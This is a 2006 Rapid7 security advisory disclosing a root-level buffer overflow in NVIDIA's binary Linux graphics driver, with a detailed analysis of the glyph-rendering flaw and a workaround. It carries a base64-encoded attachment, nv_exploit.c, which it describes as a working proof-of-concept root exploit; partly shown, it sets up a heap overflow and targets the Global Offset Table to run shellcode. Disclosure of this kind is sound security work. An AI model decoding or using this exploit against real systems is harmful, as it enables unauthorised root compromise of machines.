|
--=_mixed 006A029388257209_Content-Type: text/plain; charset="US-ASCII"
_______________________________________________________________________
Rapid7, LLC Security Advisory
Visit http://www.rapid7.com/ to download NeXpose,
SC Magazine Winner of Best Vulnerability Management product.
_______________________________________________________________________
Rapid7 Advisory R7-0025
Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
Published: Oct 16, 2006
Revision: 1.0
http://www.rapid7.com/advisories/R7-0025.jsp
1. Affected system(s):
KNOWN VULNERABLE:
o NVIDIA Driver For Linux v8774
o NVIDIA Driver For Linux v8762
PROBABLY VULNERABLE:
o NVIDIA Driver for FreeBSD
o NVIDIA Driver for Solaris
o Earlier versions
KNOWN FIXED:
o None
2. Summary
The NVIDIA Binary Graphics Driver for Linux is vulnerable to a
buffer overflow that allows an attacker to run arbitrary code as
root. This bug can be exploited both locally or remotely (via
a remote X client or an X client which visits a malicious web page).
A working proof-of-concept root exploit is included with this
advisory.
The NVIDIA drivers for Solaris and FreeBSD are also likely to be
vulnerable.
3. Vendor status and information
NVIDIA Corporation
http://www.nvidia.com
There have been multiple public reports of this NVIDIA bug on the
NVNews forum [1,2] and elsewhere, dating back to 2004 [3]. NVIDIA's
first public acknowledgement of this bug was on July 7th, 2006. In a
public posting [1] on the NVNews forum, an NVIDIA employee reported
having reproduced the problem, assigned it bug ID 239065, and promised
a fix would be forthcoming.
As of the publication date, the latest NVIDIA binary driver is still
vulnerable. Furthermore, it is our opinion that NVIDIA's binary driver
remains an unacceptable security risk based on the large numbers of
reproducible, unfixed crashes that have been reported in public forums
and bug databases. This number does not include bugs reported directly
to NVIDIA.
1. http://www.nvnews.net/vbulletin/showthread.php?p=931048 (Jul 2006)
2. http://www.nvnews.net/vbulletin/showthread.php?t=76493 (Sep 2006)
3. https://bugs.freedesktop.org/show_bug.cgi?id=2129 (Dec 2004)
4. http://lists.freedesktop.org/archives/xorg/2005-January/005642.html
5. http://forums.gentoo.org/viewtopic.php?t=282107 (Jan 2005)
6. https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299 (Mar 2005)
7. http://www.nvnews.net/vbulletin/showthread.php?t=76206 (Sep 2006)
4. Solution
Disable the binary blob driver and use the open-source "nv" driver
that is included by default with X.
5. Detailed analysis
There are two NVIDIA graphics drivers for Linux: a closed-source
binary blob driver provided by NVIDIA (which provides acceleration)
and an open-source driver (which lacks acceleration). NVIDIA's
binary blob driver contains an error in its accelerated rendering
of glyphs (text character data) that can be exploited to write
arbitrary data to anywhere in memory. The open-source driver is
not vulnerable.
The XRender extension provides a client function named
XRenderCompositeString8 which tells the X server to render glyphs
onto the screen. This request is processed by the server's
ProcRenderCompositeGlpyhs function. This function pulls the glyphs
out of the render request, constructs a glyph list, and then calls
into the graphics driver via a registered callback function.
The NVIDIA binary blob driver registers a function named _nv000373X.
This function calculates a bounding BoxRec of the total area occupied
by the glyph data. It then uses Xalloc to allocate a buffer large
enough to hold the data by multiplying width * height. This buffer
is then passed to another internal function called _nv000053X.
The _nv000053X function iterates over the glyph list and copies
glyph data into the buffer using each glyph's accumulated width,
xOff, height, and yOff values to calculate the destination position
in the buffer. The NVIDIA binary blob driver does not check this
calculation against the size of the allocated buffer. As a result,
a short sequence of user-supplied glyphs can be used to trick the
function into writing to an arbitrary location in memory.
It is important to note that glyph data is supplied to the X server
by the X client. Any remote X client can gain root privileges on
the X server using the proof of concept program attached.
It is also trivial to exploit this vulnerability as a DoS by causing
an existing X client program (such as Firefox) to render a long text
string. It may be possible to use Flash movies, Java applets, or
embedded web fonts to supply the custom glyph data necessary for
reliable remote code execution.
A simple HTML page containing an INPUT field with a long value is
sufficient to demonstrate the DoS.
5. Credit
This vulnerability was discovered by Derek Abdine of Rapid7. Special
thanks to Marc Bevand for his assistance.
6. Contact Information
Rapid7, LLC
Email: advisory@rapid7.com
Web: http://www.rapid7.com
Phone: +1 (310) 316-1235
7. Disclaimer and Copyright
Rapid7, LLC is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES with
regard to this information. Any application or distribution of this
information constitutes acceptance AS IS, at the user's own risk.
This information is subject to change without notice.
This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
granted to redistribute this advisory, providing that no changes are
made and that the copyright notices and disclaimers remain intact.
--=_mixed 006A029388257209_Content-Type: application/octet-stream; name="nv_exploit.c"
Content-Disposition: attachment; filename="nv_exploit.c"
Content-Transfer-Encoding: base64
LyoKICogQ29weXJpZ2h0IChjKSAyMDA1IE1hdHRoaWV1IEhlcnJiCiAqIENvcHlyaWdodCAoYykg
MjAwNiBEZXJlayBBYmRpbmUsIE1hcmMgQmV2YW5kCiAqCiAqIFBlcm1pc3Npb24gdG8gdXNlLCBj
b3B5LCBtb2RpZnksIGFuZCBkaXN0cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQogKiBwdXJw
b3NlIHdpdGggb3Igd2l0aG91dCBmZWUgaXMgaGVyZWJ5IGdyYW50ZWQsIHByb3ZpZGVkIHRoYXQg
dGhlIGFib3ZlCiAqIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ug
YXBwZWFyIGluIGFsbCBjb3BpZXMuCiAqCiAqIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMg
SVMiIEFORCBUSEUgQVVUSE9SIERJU0NMQUlNUyBBTEwgV0FSUkFOVElFUwogKiBXSVRIIFJFR0FS
RCBUTyBUSElTIFNPRlRXQVJFIElOQ0xVRElORyBBTEwgSU1QTElFRCBXQVJSQU5USUVTIE9GCiAq
IE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVTUy4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFIEFVVEhP
UiBCRSBMSUFCTEUgRk9SCiAqIEFOWSBTUEVDSUFMLCBESVJFQ1QsIElORElSRUNULCBPUiBDT05T
RVFVRU5USUFMIERBTUFHRVMgT1IgQU5ZIERBTUFHRVMKICogV0hBVFNPRVZFUiBSRVNVTFRJTkcg
RlJPTSBMT1NTIE9GIFVTRSwgREFUQSB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Gxlcik7CiAgICBzaWduYWwoU0lHVEVSTSwgc2lnSGFuZGxlcik7CgogICAgLyoqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKgogICAgICogQkVHSU4gRk9OVCBIRUFQIE9WRVJGTE9XIFNFVFVQIENPREUKICAg
ICAqCiAgICAgKiAiSXQncyBzbyBoYXJkIHRvIHdyaXRlIGEgZ3JhcGhpY3MgZHJpdmVyIHRoYXQg
b3Blbi1zb3VyY2luZyBpdCB3b3VsZAogICAgICogIG5vdCBoZWxwLiIKICAgICAqICAgIC0gQW5k
cmV3IEZlYXIsIFNvZnR3YXJlIFByb2R1Y3QgTWFuYWdlciAoTlZJRElBIENvcnBvcmF0aW9uKS4K
ICAgICAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqLwogICAgWEdseXBoSW5mbyAqIGdseXBoczsKICAgIFhSZW5kZXJQ
aWN0Rm9ybWF0IGZtdDsKICAgIFhSZW5kZXJQaWN0Rm9ybWF0ICptYXNrID0gMDsKICAgIEdseXBo
U2V0IGdzZXQ7CiAgICBjaGFyICogYnVmID0wOwogICAgaW50IG9mZnNldCwgY3IsIG51bUI7CiAg
ICBpbnQgeHNjcmVlbnBvcyAgPSAzMjY4MDsKICAgIGludCBtYWdpY19sZW4gICA9IDMyNzY4IC0g
eHNjcmVlbnBvczsKICAgIGludCB3cl9hZGRyX2xlbiA9IDM1NDg7CiAgICBpbnQgd3Jfbm9wX2xl
biAgPSAyMDA7CgogICAgLyogQ2FsY3VsYXRlIHRoZSBvZmZzZXQgdG8gdGhlIEdsb2JhbCBPZmZz
ZXQgVGFibGUuCiAgICAgKiAweDJDMDAwMCBpcyB0aGUgc2l6ZSBvZiB0aGUgYnVmZmVyIHRoZSBO
VklESUEgZHJpdmVyCiAgICAgKiBhbGxvY2F0ZXMgZm9yIHVzIHdoZW4gaX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ICAgICAgICBYUmVuZGVyQWRkR2x5cGhzKGRpc3BsYXksIGdzZXQs
IHhnbHlwaGlkcywgZ2x5cGhzLCAzLCBidWYsIGJ1ZnNpemUpOwogICAgfQogICAgLyogRU5EIEZP
TlQgSEVBUCBPVkVSRkxPVyBTRVRVUCBDT0RFICovCgogICAgZG9uZSA9IDA7CiAgICB3aGlsZSAo
IWRvbmUpIHsKICAgICAgICBYTmV4dEV2ZW50KGRpc3BsYXksICZldmVudCk7CiAgICAgICAgc3dp
dGNoKGV2ZW50LnR5cGUpIHsKICAgICAgICAgICAgY2FzZSBLZXlQcmVzczoKICAgICAgICAgICAg
ICAgIGkgPSBYTG9va3VwU3RyaW5nKCZldmVudC54a2V5LCAmYywgMSwgTlVMTCwgTlVMTCk7CiAg
ICAgICAgICAgICAgICBpZiAoKGkgPT0gMSkgJiYgKChjID09ICdxJykgfHwgKGMgPT0gJ1EnKSkp
IHsKICAgICAgICAgICAgICAgICAgICBkb25lID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAg
ICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlIEV4cG9zZToKICAgICAgICAgICAgICAg
IFhmdERyYXdSZWN0KGRhdGEtPmRyYXcsICZkYXRhLT5iZywKICAgICAgICAgICAgICAgICAgICAg
ICAgZXhwb3NlLT54LCBleHBvc2UtPnksCiAgICAgICAgICAgICAgICAgICAgICAgIGV4cG9zZS0+
d2lkdGgsIGV4cG9zZS0+aGVpZ2h0KTsKICAgICAgICAgICAgICAgIC8qIFNlbmQgbWFsaWduYW50
IGdseXBocyBhbmQgZXhlY3V0ZSBzaGVsbGNvZGUgb24gdGFyZ2V0ICovCiAgICAgICAgICAgICAg
ICBYUmVuZGVyQ29tcG9zaXRlU3RyaW5nOChkaXNwbGF5LCBQaWN0T3BPdmVyLAogICAgICAgICAg
ICAgICAgICAgICAgICBYZnREcmF3U3JjUGljdHVyZShkYXRhLT5kcmF3LCAmZGF0YS0+Y29sb3Ip
LAogICAgICAgICAgICAgICAgICAgICAgICBYZnREcmF3UGljdHVyZShkYXRhLT5kcmF3KSwgbWFz
aywgZ3NldCwKICAgICAgICAgICAgICAgICAgICAgICAgMCwgMCwgeHNjcmVlbnBvcywgMCwgc3Ry
aW5nLCBzdHJsZW4oc3RyaW5nKSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAg
ICB9CgogICAgZnJlZShnbHlwaHMpOwogICAgZnJlZSh4Z2x5cGhpZHMpOwogICAgZnJlZShidWYp
OwogICAgZnJlZShzdHJpbmcpOwoKICAgIFhGbHVzaChkaXNwbGF5KTsKICAgIFhVbm1hcFdpbmRv
dyhkYXRhLT5kaXNwbGF5LCBkYXRhLT53aW4pOwogICAgWFVuZ3JhYktleWJvYXJkKGRhdGEtPmRp
c3BsYXksIEN1cnJlbnRUaW1lKTsKICAgIFhDbG9zZURpc3BsYXkoZGlzcGxheSk7CiAgICBleGl0
KEVYSVRfU1VDQ0VTUyk7Cn0K
--=_mixed 006A029388257209_=--